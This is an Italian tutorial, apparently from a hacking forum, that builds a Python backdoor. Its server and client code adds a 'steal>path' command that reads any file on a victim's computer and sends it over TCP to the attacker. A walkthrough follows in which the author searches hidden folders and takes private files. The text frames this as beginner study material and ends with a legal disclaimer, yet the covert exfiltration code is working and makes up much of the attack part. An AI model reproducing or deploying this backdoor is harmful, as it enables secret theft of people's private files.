Articles

Tropea Project - La rete Tor da un altro punto di vista

Tropea Project Il progetto Tropea nasce tramite un lavoro di Tesi svolto presso l’Università della Calabria, UNICAL, dall’idea di semplificare l’utilizzo di Tor Browser e quindi della rete Tor. Contesto e Motivazioni La navigazione in rete nel ventunesimo secolo è parte integrante della vita di ognuno di noi e non solo in ambito ludico, quanto in ambito lavorativo e sociale ed è, in generale, il canale di comunicazione più diffuso e usato al mondo.

Python - Scattare delle foto non appena viene aperto il vostro pc in Python

Guida Rieccocci qua con un altra release/guida nell’ambito della sicurezza informatica e, in questo caso specifico, nella sicurezza in generale. ! :D Lo script nasce da una domanda molto semplice “Come posso sapere chi accede al mio pc?” certamente esistono i file di log ma vi sfido a controllare i file di log ogni giorno ed oltretutto i file di log ti dicono che c’è stato un accesso, ma ti danno anche una bella foto del suo faccione?

Perl - Analizzare un file di log ed estrarne gli indirizzi IP con Perl

Guida In questa guida vedremo come possiamo usare uno dei linguaggio più efficienti e semplici che io conosca. Questo linguaggio è Perl e personalmente lo uso come linguaggio da uno script e via vista la semplicissima sintassi(decisamente intuitiva) e visto che è davvero veloce e leggero nelle operazioni. File necessari Utilizzerò un file di log pubblico accessibile cliccando qui che, come potete leggere, rappresenta un file di log di OpenSSH.

Backdoor - Come creare una Backdoor in Python | Rubare I File

La guida In questa guida tratterò il tema delle Backdoor, un metodo informatico per effettuare operazioni su un altro computer di “nascosto”. Andremo ad utilizzare Python e come vedremo ci basteranno veramente poche righe di codice per sviluppare tutto ciò che ci serve, **se vuoi saltare questa parte puoi scaricare direttamente il codice **<strong>cliccando qui</strong>. Non verrà trattato il tema di “Come far avere il file giusto alla nostra vittima” né tanto meno verranno trattati sistemi di sicurezza per prevenire questo attacco visto che l’obiettivo è mantenere un livello di difficoltà basso in modo tale da offrire degli strumenti di lavoro utili per iniziare a entrare nel mondo della Cyber Sicurezza.

Backdoor - Creazione di una connessione Client-Server basata su protocollo TCP

La guida​ In questa guida vedremo di trattare il tema delle Backdoor, un metodo informatico per effettuare operazioni su un altro computer di “nascosto”. Andremo ad utilizzare Python e come vedremo ci basteranno veramente poche righe di codice per sviluppare tutto ciò che ci serve, se vuoi saltare questa parte puoi scaricare direttamente il codice cliccando qui. Non verrà trattato il tema di “Come far avere il file giusto alla nostra vittima” né tanto meno verranno trattati sistemi di sicurezza per prevenire questo attacco visto che l’obiettivo è mantenere un livello di difficoltà basso in modo tale da offrire degli strumenti di lavoro utili per iniziare a entrare nel mondo della Cyber Sicurezza.

DoS - Come effettuare un attacco DoS in poche semplici mosse

La guida In questa piccola guida vediamo di studiare un attacco DoS, non entrando troppo nel dettaglio in maniera tale da favorire la lettura anche a chi non è molto avvezzo ancora. Mi baso sul codice pubblicato da Hacker Journal nell’edizione N. 249 che volendo potrete acquistare tramite il loro sito web ufficiale. Se non sai neanche che cosa vuol dire “Attacco DoS” allora ti consiglio di leggere la guida completa di Stefano Novelli, accessibile cliccando qui, oppure dare una veloce lettura quanto meno per capire quale è il nostro obiettivo.

Backdoor - Come creare una Backdoor in Python | Rubare I File

May 14, 2021

Backdoor

La guida

In questa guida tratterò il tema delle Backdoor, un metodo informatico per effettuare operazioni su un altro computer di “nascosto”.

Andremo ad utilizzare Python e come vedremo ci basteranno veramente poche righe di codice per sviluppare tutto ciò che ci serve, **se vuoi saltare questa parte puoi scaricare direttamente il codice **<strong>cliccando qui</strong>.

Non verrà trattato il tema di “Come far avere il file giusto alla nostra vittima” né tanto meno verranno trattati sistemi di sicurezza per prevenire questo attacco visto che l’obiettivo è mantenere un livello di difficoltà basso in modo tale da offrire degli strumenti di lavoro utili per iniziare a entrare nel mondo della Cyber Sicurezza.

E' fortemente consigliato seguire il video caricato su YouTube in modo tale da avere una visione pratica della Backdoor all’opera.

Obiettivo

In questa seconda parte della guida andremo ad implementare la funzionalità che ci aiuta a rubare i file che c’interessano.

Partiremo per tanto dalla prima versione e andrò a commentare le righe aggiunte.

Cosa Serve

E' necessario avere installato Python su entrambe le macchine.

Una conoscenza minima di Python e delle Reti(TCP/IP, Connessioni, Client-Server ecc…)

Creazione Del Programma


- Server

Esattamente come nella prima guida il nostro Server occuperà la parte dell’attaccante e per tanto andremo a configurare la parte che gestirà la copia del file che vogliamo rubare nel nostro computer.

Python:

else:
 client.send(command.encode()) #manda
 resp = client.recv(buffer_size) #riceve
 flag = True

 if "steal" in command:
  file_backdoor = PWD
  print("[+] Start!")

  with open(file_backdoor, "wb") as f:
   while True:
    f.write(resp)
    resp = client.recv(buffer_size)
    if "end-transfer-file" in resp.decode("ISO-8859-1"):
     break
  print("[+] End!")

 else:
  print(resp.decode("ISO-8859-1"))[/CODE]
  • if “steal” in command: Se nel comando inserito c’è la keyword ‘steal’
    • file_backdoor = PWD Selezione il percorso dove vogliamo salvare il file, PWD nel mio caso è
      /home/nonameon/Desktop/file è importante includere file alla fine senza alcuna estenzione, come si vede dal video saremo noi a dare successivamente l’estensione necessaria
    • print("[+] Start!")
    • with open(file_backdoor, “wb”) as f: Apriamo in modalità w=scrittura b=binaria il file indicato
      • while True:
        • f.write(resp) Riscrivi dentro il file i bytes che ci arrivano dalla vittima
        • resp = client.recv(buffer_size) Una volta gestita la porzione di dati ricevuta allora aspetta la prossima ponendoti in attesa
        • if “end-transfer-file” in resp.decode(“ISO-8859-1”): Se all’interno del messaggio ricevuto, una volta decodificato, viene rilevato “end-transfer-file” allora possiamo terminare la riscrittura dei dati.
          • break
    • print("[+] End!")

- Client

Esattamente come nella prima guida il nostro Client occuperà la parte della vittima e per tanto andremo a configurare la parte che gestirà il trasferimento dei dati.

E' di fondamentale importanza ricordarsi che il Client si aspetta una sintassi ben precisa e dobbiamo necessariamente seguirla alla lettera.

Sintassi: steal><file_path>

Python:

elif "steal" in command_decoded:
 file_path = command_decoded.split(">")
 print("[+] Start!")
 with open(file_path[1], "rb") as f:
  while True:
   file_bytes = f.read(buffer_size)
   if not file_bytes:
    break
   server.send(file_bytes)
 end = "end-transfer-file".encode("ISO-8859-1")
 server.send(end)
 print("[+] End!")
  • elif “steal” in command_decoded: Se, una volta decodificato, il programma rileva che dal Server ci arriva una richiesta di tipo “steal”
    • file_path = command_decoded.split(">") Sapendo che il comando si divide in: A sinistra dal carattere > il comando steal e a destra il percorso assoluto del file da voler rubare allora lo possiamo “splittare” esattamente sul carattere divisore.
    • print("[+] Start!")
    • with open(file_path[1], “rb”) as f: Nella seconda posizione della nostra variabile _file_path_vi è il nostro file che vogliamo rubare e, per tanto, lo apriremo in r=lettura b=binaria
      • while True:
        • file_bytes = f.read(buffer_size) Una volta aperto il file “leggeremo” al massimo 1024 bytes per volta, ovvero esattamente la quantità che vogliamo trasferire al Server. Notate che è di fondamentale importanza collegare tutto perfettamente con le quanità esatte altrimenti potremmo avere perdite di dati inaspettate. Cosa succederebbe se ci aspettassimo 1024 bytes e in realtà ce né arrivano 2048?
        • if not file_bytes: Se ho terminato i bytes leggibili allora ho trasferito tutto
          • break
        • server.send(file_bytes) Se ci sono ancora bytes da dover trasferire allora li trasferisco al Server che intanto è in attesa(recv())
    • end = “end-transfer-file”.encode(“ISO-8859-1”) Una volta terminato tutto allora mando(sempre sottoforma di bytes) la stringa “end-transfer-file” in modo tale che una volta decodificata verrà letta dal Server e “capirà” che il trasferimento è terminato
    • server.send(end)
    • print("[+] End!")

Nota

Il Server si mette in attesa di bytes e il Client glieli manda 1024 al massimo per volta fino a che finisce di leggere i bytes leggibili. Nel frattempo il Server li ricompone Blocco per Blocco fino a riformare il file completo.

Oltre a questi rilevanti cambiamenti ho apportato altre modifiche come delle print qua e la e delle variabili che abbellissero il codice per tanto vi invito sempre a vedere il codice completo cliccando qui.

Se qualcosa non risulta chiara vi prego di commentare o contattarmi e sarò lieto di aiutarvi.

Passiamo all’attacco

Come già detto è fortemente consigliato vedere il video su YouTube perché fondamentalmente spiego ciò che la si vede a video quindi secondo me potrebbe essere molto più chiaro.

  1. Avviamo il programma server.py dalla nostra macchina
  2. Avviamo il programma client.py dalla macchina della vittima

back-1.png

La prima cosa da fare, una volta stabilita la connessione con la vittima, è quella di capire dove siamo e per tanto lanciare il comando dir

back-2.png

Come possiamo vedere sulla macchina della vittima ci troviamo nel percorso C:\Users\aless\Desktop\Client e noi siamo quel client.py.

Se non conoscete già il percorso da voler verificare allora dobbiamo andare alla ricerca di qualche cartella che potrebbe interessarci e per tanto sicuramente useremo il comando cd .. concatenato tramite && al comando dir

back-3.png

Mh, non è andata molto bene.

Sembrerebbe che la nostra vittima non abbia nulla che possa interessarci.

Una cosa molto comune è cercare di Nascondere i file, non sapendo però, che non vengono realmente nascosti, bensì rimangono solo invisibili se non si abilita la giusta opzione(Mostra file nascosti).

Nel nostro caso ci basterà aggiungere /a per poter vedere cosa nasconde il nostro amico, quindi ripeteremo l’operazione cd .. && dir/a

back-4.png

Beh! Sono un altro paio di mani adesso…

Abbiamo scovato una cartella(

= Directory) che si chiama Privato, che facciamo entriamo a vedere cosa c’è dentro?

Nulla di più facile, ci basterà scrivere il comando cd ../Privato && dir per andare nella cartella precedente, andare nella cartella Privato e lanciare il comando dir.

back-5.png

Non c’è nulla? Così sembra, però dobbiamo rammendare che nelle cartelle Nascoste vengono nascosti anche i file all’interno per tanto non dovremo fare altro che usare l’opzione che abbiamo usato poco fa, ovvero /a in modo da vedere anche i file nascosti!

back-6.png

Ormai conosciamo la nostra vittima!

Siamo riusciti a trovare due file nascosti dentro la cartella nascosta, DocumentoImportante.pdf e top_secret.jpg adesso possiamo trasferirli nel nostro computer!

Per fare ciò dobbiamo seguire la sintassi del comando steal ma non c’è alcun problema visto che conosciamo il path Directory di C:\Users\aless\Desktop\Privato e anche il nome del file top_secret.jpg quindi il nostro comando sarà:

Shell> steal>C:\Users\aless\Desktop\Privato\top_secret.jpg

back-7.png

In una velocità incredibilmente alta potremo vedere che sia sul nostro terminale, sia nel terminale della vittima è stato notificato il trasferimento tramite le print("[+] Start!") ed print("[+] End!") e oltretutto come possiamo vedere il nostro file è stato creato nel nostro percorso, che nel mio caso è il Desktop.

back-8.png

La stessa cosa la facciamo anche per il file .pdf

back-9.png

back-10.png

In fine terminiamo la connessione tramite il comando “ terminate ” e il nostro attacco Hacker tramite la Backdoor è avvenuto con successo!

back-11.png

Conclusioni

Questa guida, per ovvi motivi,non può essere utilizzata per attacchi reali, bensì vuole essere un punto di partenza per iniziare a studiare, toccando con mano, il mondo delle Backdoor.

Spesso le parti Client-Server sono invertite perché in alcuni casi è meglio mantenere sempre attiva la macchina della vittima(Server=Vittima) e avviare quando si desidera la macchina nostra che, facendo da Client apre e chiude la connessione quando vogliamo.

In questo caso non è particolarmente rilevante ma a prescindere questa è una scelta determinata da diversi fattori tipo obiettivo di attacco, disponibilità di accesso, competenza informatica della vittima ecc…

Sono veramente felice di aver trovato questo forum, sono nuovo ma mi piace molto sia la gestione sia la community e, per tanto, spero che questi miei contributi possano aiutare a migliorare la navigazione nel forum e possano fornire delle armi per studiare questo, tanto fantastico quanto complesso, mondo dell’informatica.

Obiettivi Futuri

Al momento la guida è terminata visto che oltre alla base(Creazione di una connessione stabile) e del comando necessario per prelevare i file(steal>File_Path) non c’è molto altro da dire se vogliamo rimanere su un livello basso(il quale ho voluto mantenere volutamente).

Però non nascondo che forse in futuro potrei fare qualche guida utile per quanto riguarda la Difesa e quindi realmente vedere strutture di Sicurezza che possano difendere i nostri computer anche se, in quel caso, potrebbe esserre difficile mantenere un livello di comprensione facile e accessibile a chiunque.

Creare una backdoor -> Rubare file dalla vittima -> Cyber Security

Nota Bene

Questa guida non è un manuale per come fare danni ma tende a diffondere materiale di studio utile per approfondire certi temi sulla sicurezza informatica.

Qualora prendessi ciò di cui ho parlato per divulgarlo/usarlo con intendi malevoli io mi dissocio e sono totalmente esente dalle tue scelte.

Anche un tentato attaco mal riuscito è pursempre un reato e per tanto punibile secondo codice penale anche con la reclusione!

Se vuoi testare il programma allora attacca un altro tuo dispositivo come ho fatto io stesso in questa guida attaccando una macchina virtuale, se non sai come fare scrivilo nei commenti e ti aiuteremo!

Pubblicazione..